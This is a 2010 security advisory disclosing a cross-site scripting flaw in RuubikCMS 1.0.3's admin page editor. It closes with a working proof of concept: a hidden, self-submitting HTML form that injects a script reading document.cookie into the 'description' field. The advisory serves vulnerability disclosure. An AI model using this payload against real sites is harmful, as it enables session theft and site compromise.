XSS vulnerability in RuubikCMS

Type securityvulns
Reporter Securityvulns
Modified 2010-05-27T00:00:00


Vulnerability ID: HTB22380 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_ruubikcms.html Product: RuubikCMS Vendor: Piuha Vulnerable Version: 1.0.3 and Probably Prior Versions Vendor Notification: 10 May 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA (http://www.htbridge.ch/)

Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "ruubikcms/cms/index.php" script to properly sanitize user-supplied input in "description" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://example.com/ruubikcms/cms/index.php?p=home" method="post" name="main" > <input type="hidden" name="save" value="1" /> <input type="hidden" name="ordernum" value="1" /> <input type="hidden" name="name" value="Home" /> <input type="hidden" name="header1" value="Home" /> <input type="hidden" name="pageurl" value="home" /> <input type="hidden" name="pagelink" value="%2Findex.php%2Fhome" /> <input type="hidden" name="mother_hidden" value="" /> <input type="hidden" name="creator" value="admin" /> <input type="hidden" name="title" value="" /> <input type="hidden" name="description" value='hello"><script>alert(document.cookie)</script>' /> <input type="hidden" name="keywords" value="" /> <input type="hidden" name="extracode" value="" /> <input type="hidden" name="picfile1" value="" /> <input type="hidden" name="picfile2" value="" /> <input type="hidden" name="tinyMCE" value="page content here..." /> </form> <script> document.main.submit(); </script>